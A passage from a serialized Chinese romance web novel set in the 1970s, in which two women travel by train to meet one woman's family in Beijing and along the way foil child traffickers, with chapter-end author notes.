“哟,你们俩今天来这么早!” 她赧于在外人面前和季白青表现得太过亲密,默默将手揣回了口袋。 “宝珠姐,早啊,今天真是够冷的。”季白青和王宝珠打了个招呼。 拿上刀,两人打算去杀猪了。 “包里有吃的,你先垫垫肚子。”正式工作前,季白青有些不放心地叮嘱温淼。 见状,王宝珠在一边调笑道:“小季可真是关心小温,小温都这么大了,怎么可能还不知道怎么照顾自己。” 温淼的脸颊再次生热,垂眸的模样有些羞怯。 季白青笑嘻嘻:“好了宝珠姐,别逗我们了,淼淼她害羞。” 推着王宝珠往仓库走,用热水泡了泡手,手指灵活些后后两人开始杀猪。 今天是小年,猪肉铺的生意空前的好,就连运来要杀的猪也多了一头,杀猪便多费了一些时间。 过年从古至今都是大日子,无论平时怎么节省的人在过年总要咬咬牙拿出钱和票,买上点肉,天气冷,多买一些还能够存放几天。 推着车过去的时候,摊子前已经排上了一条长长的队。 平日里两三个小时才卖完的猪肉,今天一个多小时就卖完了。 在肉摊前忙活一个多小时,倒也不冷,身上反而都开始出汗了,生意好,都没有停下来休息一刻。 最后一点肉卖完,季白青收拾好摊子,将手上的腥味洗干净才带上了针织手套。 牵着温淼出了食品站,一到室外,寒风就铺面吹来。 国营饭店离得不算远,她们推着车去的。 温淼进去买了几个包子,拿着包子出来后坐上后座,季白青搭着她往火车站走。 昨天忙着杀年猪分粮食,没有去火车站买票。 火车站的地方偏僻,顶着大风绕了一大圈才到了地方。 锁好了自行车,又托门口的大爷帮忙看着后,她们进了火车站售票处。 买票的人多,排着长队,前面的人群失了秩序,挤挤攘攘的抢着要买票。 季白青和温淼排在了队伍的末端,刚买的包子被温淼揣在怀里捂着,拿出来的时候还是温热的。 五个都是肉包子,润泽的油将包子皮浸透,显得越发莹润。 看起来就香。 季白青咬了一口,一口就可以咬到里面的肉馅。 国营饭店用料都很足。 她享受地眯起眼睛,咽下去后给温淼喂了一口。 “今天的包子好香。” 温淼有些无奈,明明自己手上拿着的就是和她一样的包子。 不过她还是咬了一口,点头附和她。 包子的香味在密闭的空间内散开,不少人都是一大早就来排队买票了,手上顶多拿了个饼子,闻到了这霸道的香味瞬间看了过去。 季白青丝毫没在意别人的视线,自顾自地吃自己的。 队伍龟速前进,论道季白青和温淼的时候已经下午一点多了。 排了三个多小时。 售票员抬头问:“买去哪的票?介绍信。” 季白青将两个人的介绍信给她一看,“买潇南到京市的。” “还有卧铺吗?” 售货员低头看了一眼,“还有,要上铺中铺还是下铺,下铺的价格更贵一点。” 季白青想了想:“一张站票,一张下铺票。” 闻言,温淼轻轻攥着她的衣服,轻声道:“不然买两张坐票吧?” 季白青按下她的手,“没事,回去再和你说。” “一共是九十二块五。” 季白青把钱给她,拿过火车票和介绍信,谨慎地放到了衣服内侧的口袋里。 回去的路上,温淼明显有些不高兴,以往都会亲昵地圈着她的腰肢,而这下只是抓着季白青的衣服。 到了家,将自行车停好。 何香月和季伟正在打扫家里的卫生,忙上忙下还要准备今晚的晚饭。 见状,原本想要哄人的话暂时没说,季白青开始帮着把家里的重物移开,打扫下面积攒的灰尘。 温淼进房间准备明天要带上火车的东西,将自己和季白青的衣物放进了手提箱。 拿的基本都是贴身的衣物,厚实的外套绒裤京市还放着不少。 如果找不到季白青合身的衣物,那正好可以带她去京市供销社逛逛。 有机会的话,还可以去友谊商店看看。 因为没做午饭,今天的晚饭吃得格外地早。 即使家里只有四个人,也做了一大桌子的菜。 几乎全都是肉菜。 一条蒸鱼、爆炒鱼干、炖鸡、炒鸡、猪血汤还有一个排骨和一盘腊肉腊肠。 一盘丝毫不起眼的青菜放在角落。 季白青尝了一口,是茼蒿,还挺好吃的,不过更适合烫火锅。 给温淼夹了排骨和炒鸡,又问她:“要不要吃点青菜?” 见温淼点头,季白青给她夹了一点。 茼蒿喜欢的人或许喜欢,但不喜欢的人会觉得味道怪异。 也不知道温淼喜不喜欢吃。 见温淼吃了一筷子后皱起了脸,季白青一笑,给她倒了杯温水。 “这是茼蒿,味道有点大,你可能吃不习惯,但我觉得挺好吃的。” 听了这话,温淼狐疑地看了她一眼,虽然对她所说的话存疑,但最后还是试探地又吃了几口。 也不知道是不是心里作用,多吃几口后味道好像更容易接受了一些。 吃到最后,季白青给每个人倒了一小杯酒,分别和何香月和季伟碰杯。 “娘、爹,明天我和淼淼就上火车了,今年你们俩好好过。” 温淼也和她们碰杯,酒的度数不高,是五月份泡的桑葚酒。 将杯子里的酒喝完,何香月眼睛一翻:“放心吧,没你在我们还安生一点。” “到了京市,好好表现啊。” 小年前特意请了工人来家里装电线,现在挂上了灯泡,往外散发着晕黄的光,虽然比不上后世的明亮,但也能够将屋子照得亮堂堂的。 借着这抹光,她看到了何香月眼下的晶莹,在惊讶的同时也能够理解。 前十九年,季白青从来没有离开家那么久过。 何香月女士刀子嘴豆腐心,舍不得她还嘴硬。 季白青站起来笑嘻嘻地搂着她:“娘,我会想你的,放心,过完年我就和淼淼一起回来了。” 何香月将她推开,嗔道:“你不回来都不关我的事!” “我就是怕我想淼淼。” 这时候,季白青才发现她娘和温淼的性格还是有些相似的。 都口不对心。 又笑着闹了几句后,吃完了晚饭,洗了个热水澡,躲进被窝她才还记着今天温淼生她气来着。 等到温淼也进了被窝,她将自己睡热了的那一处让出来。 “给你暖好被窝了,快来睡下。” 屋子里还拉着灯,看了眼季白青,又记起了今天买票的事。 抿着嘴、板着一张俏脸,她跨过了季白青,掀开被子躺下。 身下的热度已经热乎乎的了,是属于季白青身上的温度。 她转过身去,背对季白青,不去看她,等着人来哄。 季白青见她这副样子,有些无奈,叹了一口气。 “还生气呢?” 她从背后戳戳温淼的肩胛骨。 温淼轻哼一声,不想理她。 季白青十分自然地靠近她,从身后抱住她纤细的腰身。 “老婆,别生气了。” “好爱生气。” 听了这话,温淼转过身来,眼睛圆睁瞪她:“明明是你总是让我生气!” 两张卧铺票可以搞定的事,季白青偏要去省那点钱。 归根到底还是老婆心疼自己。 她和温淼贴近,两张都软的脸蛋贴在一起后蹭了蹭,有些像是小动物在互相取暖。 温淼见过家里养的兔子,太冷的时候就挤在一起,一个挨着一个,贴得紧紧的。 和现在的状态就有些像。 温淼继续板着脸,往后挪了挪脑袋,在内心告诉自己,千万不能就这么轻易原谅她。 不然下次季白青还这样。 只贴了一小会儿,季白青有些可惜。 “火车上不安全,一天多的时间,我们可以轮流休息,守着行李,不然可能会被偷走。” 七十年代的治安不太好,火车上发生的盗窃事件数不清。 “到时候我在坐床边就行,这样也能省点钱。” 卧铺的票差不多要八十,不算便宜,季白青确实也不太舍得。 这个解释也不能让温淼满意,她反问:“你不会累吗?” 季白青听得心软软,亲一口她的鼻尖。 “累的话我一定告诉你好不好?真的,我保证。” 睡是不可能睡的,季白青要看着行李还要照看老婆,火车上鱼龙混杂太危险。 听了这话,温淼还是觉得不能全信。 狐疑地盯着她:“真的吗?” 季白青点头。 趁着温淼还没反应过来,她将温淼抱住,哄她:“好了,这么晚了,还不睡吗?” “明天要早起。” 车票买的是下午的,可明天一大早就要起来收拾东西。 衣物温淼收拾的差不多,她也要看看有不有漏下的。 更重要的是带去京市给温向荣她们的礼物。 这可是见家长诶,很重要的。 温淼被迫埋在她怀里,闷闷道:“关灯。” 知道她这是不生气了,季白青勾起唇,在她的额间亲了一口。 “马上。” 被子被掀起来又按下去,没多久灯被关上,房间瞬间回归黑暗。 第二天季白青起的要早一点,何香月比她起的更早,见她到了灶房后,一边摊着锅里的饼子,一面对她道:“锅里有热水,洗漱好了赶紧吃饭收拾东西,也早点叫淼淼起来。” 季白青点头,打着哈欠洗漱完后拿着热乎乎的帕子进房间,敷在了温淼的脸上。 感受到了热意,温淼迷迷瞪瞪地睁开了眼。 面前一张脸被放大,季白青弯着眼睛拿自己的手贴她脸颊。 “该起来了。” 温淼贴在枕头上蹭了蹭,好一会儿才舍得从被窝里起身。 好在季白青起床的时候将温淼的衣服放进被子里捂着了,现在穿上倒也不凉。 蹲在火炉边考了一会儿火后,浑身都热了起来。 吃完饭,何香月和季白青一起点着下午要带走的东西。 其实多是一些山货,笋干、菌子、还有风干的兔子肉。 灌好的腊肠也装了一大半,还装上了一些青菜,大白菜、包菜装了两颗,足足装了两个尿素袋。 不过到时候运起来也方便,带一根扁担上去,套上麻绳一左一右就能扛起来,手上还能提点行李。 季白青看着这些东西,满意地点了点头。 就是看起来不太体面,不过关系不大。 只要季白青不在乎,别人的眼神就奈何不了她。 不过温淼看着地上的那么多东西,有些纠结。 “真的要带这么多东西去吗?” “会不会太多了?” 其实温淼想说的是这些东西用钱都能够买到,奔赴千里带过去或许有些太麻烦,但想了想,这些都是季白青她们的心意。 心意是用钱买不到的。 季白青摸着下巴,又仔细看了看:“还好吧,没事,我力气大,能拿走。” “而且我看娘还想多加点东西,还好我劝住了。” 这话刚说完,何香月将鸡圈里的母鸡抓了出来,捆住脚。 “这母鸡很肥了,你们也一起带到京市去吧。” 季白青看了温淼一眼,眼中含义明显。 看,她就说吧。 “娘,活物不能带上火车。”她劝。 其实她也不太能忍受路上鸡拉屎。 听了这话,何香月有些心疼地看了眼手上壮硕的母鸡。 在她看来,这母鸡长的正好,还可以生蛋呢。 可惜火车上不能带活物。 她烧了水,一刀下去,鸡立刻丧命,被全干净毛。 最后那只鸡被包着挂在了扁担的两边。 季白青和温淼:“……”劝不住,根本劝不住。 提前吃了个午饭,十一点不到她们就坐上了牛车。 因为要赶火车,特意包了牛叔的牛车,让他将她们从村里送到火车站。 牛车速度慢,慢慢悠悠花了一个多小时才到火车站。 好在看了一眼时间,其实挺及时的,还有二十多分钟才发车。 季白青的手表还是之前那一块破表,磨损得厉害,有些看不出原本的模样。 温淼送给她的精致手表也被她带走了,就放在手提箱里。 不过再破旧的表都是表,在火车上没准会被人盯上,季白青接下来放进了衣服的内袋。 检票过后,挑着两袋东西,手上还提了点东西,季白青和温淼一起上了火车。 找到了温淼的床位的时候,她的位置上还有人。 是个满脸横肉的胖男人,见她们过来了也只是在床上淡定地在床单上搓了搓袜子,味道熏天,没有丝毫要起来的意思。 温淼拧着眉:“同志,这是我的位置。” 男人剔了剔牙,粗声粗气:“你说是就是吗?” 季白青见不得他这态度,将温淼拉到自己身后,冷冷地看着他。 “我们有票,你的票呢?” 男人不屑地吐了一口口水在地上,险些溅在了她的鞋上。 “你有票关我屁事,老子想睡就睡。” 季白青重重地吸了一口气,往后退了一步。 “乘务员,这里有人占别人的床位!” 喊完后,胖子也丝毫不为所动,看戏似的盯着她们。 还是对面的大娘好心,见状拉住了季白青。 “姑娘,乘务员管不了这事的,不然你们先在我床上坐坐,没准一会儿他就到站了。” 季白青对她道谢,拒绝她的好意后乘务员也来了。 见到占床位的是谁后,一时间也觉得有些难办。 女乘务员细瘦,就连男乘务员也是瘦条条的,看着就没什么力气。 “同志,我们帮你看看还有哪些空位吧。” 见胖子一脸嘚瑟地看着自己,季白青有些控制不住自己的脾气了。 轻轻转了转手腕,她冷静道:“没关系,我自己来解决吧。” 说完,她立马扯着男人的衣领,将他拽了起来。 看起来能有两百斤的男人此时像是个玩偶一样被她提起来,季白青往他屁股上一踹。 “砰”的一声,男人瞬间脸着地,好巧不巧地就落在了那口痰上。 “嗷嗷!疼!”男人哀嚎起来。 季白青嫌弃地拍了拍手,转过脸去对看待的乘务员露出友善的微笑。 “现在解决了,可以帮我们换一套干净的床单和被子吗?” 乘务员才瞬间反应过来,快速点头,看着季白青的眼睛里带了点崇拜。 离开前,女乘务员还小声道:“同志,你可真厉害。” 胖子爬起来的时候,感受到脸上的湿意,脸色难看得不像话。 他死死瞪着季白青,像是想要将她身上盯出来一个窟窿一般。 “你死定了!” 季白青嫌弃地拧着眉头,“你还想我再来一次?” 想到刚才这女人莫名的力气,胖子的脖子一缩,最后一言不发,梗着脖子离开了。 很快,乘务员过来将地拖干净,又将床单被子和枕头换了一遍。 季白青又给铺上了从家里带来的干净床单,这才和温淼一起靠墙坐着。 这时候对面床的大娘这才又和她们说话:“同志,你们可真厉害,一下就把那癞皮狗赶跑了。” 她的臂弯里还抱着个裹得严严实实的孩子,只露出一张软糯雪白的小脸,眼睛像是紫黑葡萄,正在噗嗤噗嗤地吐着泡泡。 见两人看着自己的小孙女,瞬间笑开了。 “我是带我家小孙女去见我儿媳妇她们,就在宁水下车,你们在哪下车?” 季白青觉得她怀里的孩子可爱,没忍住伸出手逗了逗。 见她目不转睛地盯着自己的手指,浅浅一笑。 温淼这才搭话:“我是知青,回家探亲的,她和我一起回去。” 还不等大娘问出声,季白青就一脸骄傲地补充:“我是她对象,是陪她回去见家长的。” 闻言,大娘有几分惊讶。 见她们上下打量了一番后,笑得合不拢嘴。 “确实,你们两个妮子看起来很般配呢。” 火车上有燃煤锅炉加热,气温不低。 顾忌着车厢内各种味道,季白青和温淼都戴上了口罩,只露眼睛的一小片洁净的皮肤。 但也可以看出来长相不俗。 被大娘这样夸,季白青笑得合不拢组。 小女孩的精力特别好,温淼也过去逗了逗。 见她们玩的开心,季白青和温淼说了一声,又麻烦大娘和她一起照看一下行李,先睡下来眯了一会儿。 晚上熄灯的时候,她再好好守着。 晚饭,借了点热水,泡着饼子填饱了肚子。 大娘还分给她们自家做的蛋饺。 火车上不方便,几乎所有人都是自带干粮的。 虽然火车上能够提供盒饭,但是价格贵不说,还不太好吃。 不过如果温淼想吃的话,季白青觉得还是可以买的。 晚上九点就熄灯了,季白青手里握着手电筒,让温淼先睡。 温淼平时都睡得早,九点多这个点大多数时候都已经睡下了。 此时也没有多说什么,只是想着半夜的时候再起来和季白青换班。 大娘和季白青一起守夜,到了凌晨一点的时候也有些撑不住了,手撑着脸眼睛要闭不闭。 季白青还在听着周围的动静,精神有些紧绷。 手提箱被她抱在怀里,里面的东西加在一起最为珍贵。 尿素袋里的东西放在脚边,这些都是给温向荣她们的,也重要。 半夜,听着周围窸窸窣窣的声,季白青将手电筒打开照地上,看到是大娘下了床才松了一口气。 大娘道:“同志,我去上个茅厕,麻烦你帮我看会儿行李。” 见她点头后,大娘才抱着小孙女去厕所。 感受到身后的人突然翻了个身,季白青怕她醒了,连忙拍了拍她,哄睡。 只是温淼的眉心还没抚平,突然被一道刺破寂静的尖利声音惊醒。 “哪个杀千刀的偷了我的小孙女!” 【作者有话说】 发现自己大概是对咖啡过敏,越喝越困,那很不妙了。 今天吃了个泡菜味的薯片,好吃,推荐! 最后感谢一下宝宝的投雷和营养液,还有订阅评论收藏,亲亲![亲亲][亲亲][亲亲] 57 第57章 ◎什么时候结婚◎ 闻言,季白青瞬间直起了身子。 这声音她熟悉,不就是刚才抱着孙女去上厕所的大娘吗?! 温淼也被声音惊醒,揉着眼睛直起身的时候还有些茫然。 “你看着行李,我先去看看!” 丢下了这句话后,季白青往厕所的方向跑。 看到大娘的时候,她整个身体都软的不像话,扶着把手才勉强没往地上瘫,满脸都是泪痕。 “我的孙女啊!谁偷了我的孙女!” “大娘,你别哭,先说说是怎么了。” 季白青快速问她。 七十年代拍花子不少,在火车上丢了孩子,这事真的挺急,但紧急找找找回孩子的几率挺大。 周围的人都只是在一边看着,捂着嘴和身边人窃窃私语,没敢上前。 大娘见到了季白青像是见到了主心骨一般,断断续续回忆: “刚才蹲完茅厕,我就出来系了个裤腰带的功夫……就、就一会儿没抱紧,就不知道哪个杀千刀的把我小孙女给抢走了!” 周围的人都吸了一口气,竟然还是强抢! 乘务员也听见了动静,此时也过来查明情况。 听闻丢了孩子,又是一惊。 “乖乖,这都丢的第几个孩子了。” 看来火车上丢的孩子还不少。 季白青正色道:“同志,麻烦你们先把每个车厢的灯打开吧,一起帮着大娘找找孩子。” 还有两个多小时才到下一站,人贩子不可能跳车,此时肯定还在列车上。 闻言,列车员严肃地点了点头,将每个车间的灯打开,提醒道:“都醒醒,有人丢孩子了,看好自己的孩子,看好随身物品,注意身边有不有可疑的人!” 听了这话,原本因为被吵醒不耐烦的人纷纷将自己的孩子和东西抱紧。 季白青和大娘一起从本车厢找,大娘叫杨彦,在途中的腿还是软的,喃喃道:“我孙女裹的毯子是粉色的。” “找、找粉色毯子包着的孩子!” 季白青将车厢扫视一圈,没看见有孩子。 她摇头,“不一定,可能人贩子已经把毯子给换了。” 只是她有些奇怪,这年头重男轻女年头还挺严重的。 怎么杨大娘的孙女会被盯上呢?难道是长得太标志了? “大娘,你孙女身上有什么胎记吗?” 找到第六个车厢的时候,刚好遇见了昨天占床位的胖子。 此时胖子就坐在下铺,一个瘦条条的男人被挤在角落丝毫不敢说话。 对上季白青的视线,胖子的眼神阴沉一瞬。 季白青拧眉,视线多在他身上停留一瞬。 到了下一节车厢,杨大娘才道:“她手心有一块三角形的胎记。” 季白青若有所思地点头,最后和杨大娘分开找。 毕竟只有她们才看到了孩子的具体长相,乘务员想要配合都没多大办法。 一个小时过去,季白青跑得头发都汗湿,看到杨大娘的时候,面对她充满希冀的眼神,季白青轻轻摇了摇头。 “没找到。” 经过的车厢看到的每个孩子她都仔细看了看,最后还是没有找到。 杨大娘的身体瞬间一软,要倒在地上。 季白青连忙上前将她扶住:“大娘,还有一个多小时的时间,振作起来。” 杨彦的眼泪往下淌,听了这话后见眼泪一抹,重重点头。 “季同志,麻烦你和我一起再找找了!” 季白青应下来,这次没再和杨大娘分开,两人一起又从第一节车厢开始找起。 火车上不缺热心肠的人,不少人听闻丢了孩子都说帮忙留意。 只是可惜又找了一圈,最后还是没能找到杨大娘的小孙女的踪迹。 又回到了她们所在的卧铺车厢中,温淼见她们回来了,没抱着孩子,也知道是没找到。 她有些担心:“还有半个小时就到下一站了。” 季白青面色也有几分沉重,顿时又站了起来。 既然还有半个小时的时间,那还得再找找。 这一次她和杨大娘都着重观察车门前的位置,不少人已经拿着行李准备等到站下车了。 季白青的视线一一掠过她们,最终落在视线在看起来像是一对妻夫的身上停留。 一女一男的身高都差不多,女的眼睛吊起,男的长得很敦实,各自手上抱着一个孩子。 脚边还放着一个包袱,里面装得满满当当。 第六感告诉她,有些不对劲。 即使是新手母父也不会用抱冬瓜似的姿势抱孩子。 而且,她们怀里的孩子看起来太安静了,闭上眼睛,不哭不闹,周围嘈杂的声音也没有丝毫的影响。 男人单手使劲,空出另一只手去挠下巴,衣服下摆往上滑,让季白青看清了那一抹冰冷的银光。 好像是刀。 季白青低下头来,将杨大娘拉住。 “大娘,你去找乘务员让她们来找要出站的人检票。” 见她面色严肃,杨彦也没有多问,很快就去了。 季白青顺势往一边躲了躲,将自己的身体遮挡住,眼神往那对妻夫身上瞟。 两人对话不多,神色也不耐烦。 视线再度落在她们身边的包袱中,杨大娘的孙女有不有可能就在这里面装着? 这样想着,她的脸色一沉。 乘务员很快就过来了,喊了一声检票后从车门前排队的人开始检起。 趁着她们的注意力全都放在了乘务员身上,季白青往前走,隔男人只有一臂之遥。 她的个子要比男人高上不少,轻易就能看到他手里孩子的脸色有些青紫。 瞬间可以确定她们的人贩子身份。 季白青和乘务员对视一眼,乘务员让女人出示票据。 季白青拍了拍男人的肩膀,“大哥。” 趁他神色疑惑地转过身来,季白青趁他放松警惕,一脚踹上了他的屁股,眼疾手快地将他手里的孩子抢了过来,顺势把包袱也提到了一边。 与此同时,乘务员也趁着女人找票的功夫将孩子抱了过来,在身后伺机的乘警冲出来,快速将她按住,拷上手铐。 找了个女同志将孩子往她手里一塞,季白青看着男人涨红着脸手往裤子里伸,快速上前一脚踩住了他的手腕。 “他裤子里有刀!” 其她人也隐约猜出来妻夫两人人贩子的身份,几个大胆些的女同志男同志连忙上前帮忙。 最后乘警找将男人身上的刀具搜了出来,给他戴上了手铐。 “就是这两个人偷别人的孩子,长得人模人样的,没想到是人面兽心。” “人贩子都该吃花生米!” 周围讨论的声音愤愤。 女人却还在狡辩:“警察同志,是不是误会了什么?那两个都是我家的孩子。” 乘警冷笑一声:“到警察局再喊冤。” 闻言,男人和女人瞬间都往地上一趟,开始撒泼打滚。 “还有没有天理了,自己的孩子不能抱吗?怎么还要把我们抓起来!” “冤枉啊!警察随便冤枉别人了!” 冷眼看着她们,季白青将她们随身携带的行李打开,将上面的东西拿开后,里面果然藏着个孩子。 再一看手心的胎记,这可不就是杨大娘的小孙女么! 看着孩子被闷得发红的脸,她问:“这也是你们的孩子?” 见状,原本已经被那两人说动的群众瞬间瞪大了眼睛,又气愤了起来。 “真不是个好东西!” 季白青最后和乘警一起检查了一番,被她们抱着的两个孩子都大概三四个月的男孩,脸色多少都有些青紫。 她提高声音:“有不有医生?几个孩子好像中了迷药。” 立马有两个女同志站出来,开始为三个孩子清理口腔,异物被清理得差不多后,打湿毛巾给她们敷额头,轻拍着面部。 没多久,三个孩子陆续张开了嘴,开始哇哇大哭。 杨大娘抱回了自己的小孙女,喜极而泣。 一个劲对季白青、乘务员和医生表达感谢。 只是季白青还有些疑惑。 明明这两个孩子都是男*孩,为什么她们还要冒着风险偷个女孩呢? 她问身边的同志:“同志,那两个人贩子是一直在这个车间吗?” 那同志一懵,想了想后有些不确定地点了点头。 “她们之前就坐在我对面,后来晚上好像是有个胖子来把这个行李给她们的。” 胖子? 季白青唯一能想到的就是被她赶走的那个胖子。 她就说杨大娘的孙女怎么会莫名其妙被偷,原来是她们偷偷被那胖子记恨上了。 叫上乘警,季白青和她一起去之前看到胖子的车厢。 “警察同志,我怀疑人贩子她们还有同伙。” 指着床上呼呼大睡的胖子,她道:“这就是她的同伙。” 等到胖子醒来的时候,已经戴上了手铐。 见着季白青的脸,他恨恨道:“死女人,怎么又是你!” 乘警按着他的手:“嘴巴放干净一点。” “为什么要把我抓起来!我什么都没干!” 季白青问:“你把别人的孩子都抢走了,还觉得事不关己呢?” 闻言,胖子心虚一瞬,想到了什么后立马理直气壮起来:“谁让你们要惹我!我只是给你们一个教训。” 听了这话,乘警都没忍住踹了他一脚,最后把他押到了人贩子面前,问:“这是你们的同伙吗?” 人贩子见是他,眼里闪过一丝恨意。 如果不是这个死胖子偏要不长眼偷了一个赔钱货给她们,她们也不会被人盯上。 这下好了,火车没停,跑都跑不了。 既然她们没有好日子了,那这死胖子也别想好过。 两人干脆点头:“没错,警察同志,这人就是我们的同伙!” 闻言,原本还嚣张着的胖子瞬间瘫软:“你们、你们胡说!” 后面再辩解什么,季白青没有再听了。 两个孩子交给了警察帮忙找回家长,她和杨大娘往自己的车厢走。 温淼见着她们抱着个孩子回来后总算是放下了心。 才坐下没多久,列车员就播报到了站。 车厢里的人群少了又多,好在孩子及时找回来了。 天色蒙蒙亮,季白青此时才感觉全身的疲惫都上涌。 温淼让出被窝的位置:“阿青,你先休息一下,我来看着行李。” 再过几个小时就完全天亮了,季白青没有推辞,裹着被子睡了一会儿。 又凑合吃了早饭和午饭,晚饭她们就不准备吃了。 晚上九点多到京市,和温淼商量了一番,她们准备到了地方再顺便吃点。 一天多的车程,还有半小时到站。 杨大娘看着她们还有些不舍:“小季,这是我儿媳家的电话和地址,要是有什么事要帮忙的,千万要给我们打电话或者写信啊!” 季白青耐心将纸条收起来,杨大娘又问她要了个地址,说要给她写感谢信。 原本季白青是觉得没必要的,但见她坚持,只能把云水村的地址给了她。 离开之前还不忘叮嘱:“大娘,你还有一站了,看好孙女啊。” 杨大娘抱紧孩子,点了点头。 再有一会儿,火车慢慢到了京市站。 人群挤挤攘攘要往外走,怕自己和温淼走散,季白青拉着温淼在原地等了一会儿,人少一点了才往外走。 出了火车,身上的温度瞬间被扑面而来的寒意带走。 京市气温低,路上还看到了一层薄薄的积雪。 握着温淼的手,她的手有些凉。 “冷吗?”季白青有些担忧地看着她。 温淼摇了摇头,“快出去吧,不知道奶奶她们有没有在等着。” 确定好了回去的日子之后是给温向荣她们写了信的。 季白青点头,带她往外走。 出了火车站后,狂风卷着细雪肆虐,落在人的身上无端带着一股凉意。 季白青左右看了看,看到了一辆十分显目的吉普车,问温淼:“那是奶奶她们的车?” 温淼闻言看过去,还有些不确定。 她奶奶是有固定的吉普车可以使用的,但不是这个车牌号。 往前走了几步,汽车的鸣笛声响起,门被打开,女人身材高挑,穿着一身军绿色的大衣,朝她们高声道: “愣着干什么,快上车!” 见是温知意,温淼笑了笑。 “是大姑姑,我们快过去。” 开了门,温淼乖乖叫人:“姑姑。” 季白青也跟着她叫人。 突然冷不丁听到一道威严的声音:“怎么,连我都看不见了?” 被车后座遮挡,温淼还以为温向荣没有来,这才发现原来温向荣坐在了副驾驶。 她眼睛一弯,惊喜道:“奶奶!” 季白青顿时有些紧张,手握紧,手心都是冷汗。 她犹豫了一会儿,最后也和温淼一样叫人。 “奶奶、姑姑好,我是阿青。” 温向荣不咸不淡地应了一声,见状季白青难以避免地有些失落。 好在很快就将自己开导好了,把行李全都搬上了车。 回去的路上,见着了许久不见的亲人,温淼比往日里话要多了不少。 叽叽喳喳地和温向荣和温知意说着话,像是只小黄鹂。 季白青看了她一眼,眼中笑意浅浅。 可爱。 没去温淼家,去的温向荣那。 到了地方后,看着比以前要小上一圈的屋子,温淼还有些茫然。 “奶奶,你怎么换地方住了?” 温向荣随意道:“大房子住得空荡荡的,小房子正好,就我和你小姑姑两个人住。” 这么一想,好想也是。 温淼和季白青住的房间也不大,可温淼就觉得很好。 她点头,很快接受了这个解释。 一边季白青叹了口气,大概是这个时候温向荣的处境就已经初见端倪了。 温家快要出事了,可全家都想要瞒着温淼。 进了屋子,屋里烧了炭,将温度熏高,换好鞋后季白青跟着她们进了屋里。 听到了动静,厨房里的温皎皎和温如嫣恰好准备好了最后一盘菜端出来催促道: “正好赶上了吃饭,一路上肯定都饿了吧,快坐下来烤火吃饭。” 温知意和温皎皎是双胞胎,两个人都随的温向荣的长相,温知意要更英气一些,温皎皎更柔和。 季白青笑着叫人:“二姑姑、小姑姑好,我是阿青,淼淼的女朋友。” 温皎皎和温如嫣都是笑眯眯的,倒是温向荣哼了一声,有些不虞。 温淼抱着温向荣的手臂,熟练地撒娇:“奶奶,我都说了,阿青很好了,你看我是不是没说错?” 虽然在火车上过了一天,但季白青想着出火车站就要见家长,可是认真打扮了好一会儿。 身上是温知意给买的大衣,脖子上系着红色的围巾,半长的头发散落在肩上,用发卡把侧边的头发别了上去,露出干净的眉眼。 身材高挑、皮肤细白,看着和城里的姑娘也没什么两样。 温向荣用挑剔的眼光将她上下打量一会儿,最后淡淡评价:“一般。” 温淼嘟了嘟嘴,有些不高兴地坐回季白青身边。 季白青捏捏她的手,指尖还是冰凉的。 在手心捂了捂,她和她咬耳朵:“好了,别生气。” 温淼被哄了一会儿,这才别别扭扭地给温向荣夹菜。 今天桌上的饭菜很丰富,鸡鸭鱼肉全都有,还有一盘虾。 见温淼喜欢吃,季白青简单垫了垫肚子,给她剥壳,积攒了小半碗之后才继续吃自己的。 温淼是过了一会儿才注意到碗里的虾仁,弯唇笑了笑,又抬头看了温向荣一眼,夹给她两只。 “奶奶,阿青亲手剥的,吃了你就不许对她有意见了。” 温向荣看她一眼,“我难道就缺这一口虾?” 话虽然是这样说,但从细节中也能看出来,季白青这丫头,虽然出身不大好,但对温淼却实很好,一举一动都透露着关心。 原本对她的不满其实早就已经消散了几分,加上温淼又确实太喜欢这丫头了,她再怎么也不能不给孙女面子。 最后那两只虾还是被温向荣吃掉了。 季白青眼睛发亮,立马殷勤地给温向荣夹鱼肉。 她发现温向荣大概是不喜欢挑刺,明明视线一直往鱼肉上落,却很少下筷子。 用干净的筷子挑了鱼刺后,她将小碟子推给温向荣,笑眯眯开口:“奶奶,今天的鱼肉很嫩,你快尝尝。” 一顿饭下来,对温家人都有所熟悉。 温知意的脾气随了温向荣,都有些冷硬,做事一板一眼。 温皎皎的性格就不错,轻声细语的,就是好像有些腹黑,对季白青说的每句话目的都是套话。 不过温如嫣是真的温柔,一举一动轻柔和缓,字字句句都是为她人着想。 饭后,季白青十分有眼色地收拾碗筷,拿去厨房洗。 这里接了自来水,洗东西很方便,不需要打水。 温淼本来也想去帮忙的,却被温知意拦住。 厨房离客厅有一定的距离,温淼的对面坐着四个大家长。 她眨了眨眼,有些想逃走。 但现实明显不允许。 “奶奶、姑姑……干嘛呀?” 温向荣最先开口:“就决定是她了?不后悔?” 温淼坚定地点了点头。 温知意:“可是她没有钱,你和她在一起会吃苦的。” “可我没觉得苦。”除了最开始某人不解风情,不能认清对她的感情之外,她确实被照顾得很好。 而且她也不觉得自己就应该是被照顾的那个人,很多时候她也可以照顾季白青,给季白青安全感。 温皎皎吹了吹指甲:“你们小丫头就是那么容易许下山盟海誓,我看她心眼要比你多多了,你以后被欺负别来找我们哭。” 之前总爱跟在她们屁股后面跑的小侄女现在有了喜欢的人,向着她说话,温皎皎多多少少心里还是有些不爽的。 丝毫不想自己的心眼子比一家人的加起来还要多。 听她这么说,温淼有些不乐意。 “姑姑,你再这么说我以后不理你了!她不会欺负我的!” 温如嫣看了她一眼,最后上前抱住她。 “你们好好过日子,肯定会越来越好的,我看好你们,蓁蓁。” 一晚上过去,总算是听见了一句顺耳的话。 温淼抱住温如嫣,闷闷道:“我就知道小姑姑最好了。” 温皎皎看着她们姑侄情深的模样有些不爽,啧了一声。 “小白眼狼,亏我一大早就买菜给你和你小女朋友准备晚饭。” 温淼抬头看她,最后也哼了一声。 “那你以后不许再说阿青心眼多,她只是聪明而已。” 温皎皎屈指敲了敲她的脑瓜子:“还没结婚就胳膊肘往外拐了。” 什么都没参与的温知意和温向荣闭上了嘴,什么话都没说。 季白青洗了碗出来,客厅的电视已经被打开了。 黑白色的电视机,信号受到影响,还时不时卡顿一下,正在放着激烈的抗战片。 她以为五个人是坐在一起看电视,便凑了过去。 刚挨着温淼坐下,还没说什么,就听见温向荣冷不丁开了口: “你们打算什么时候结婚?” 【作者有话说】 喵:“奶奶呀,她才不是什么泥腿子呢!” 感谢投雷和营养液,感谢订阅评论收藏。我今天终于提前更新了,眼泪掉下来。 推推姬友的文:被钓系总裁前妻引诱了 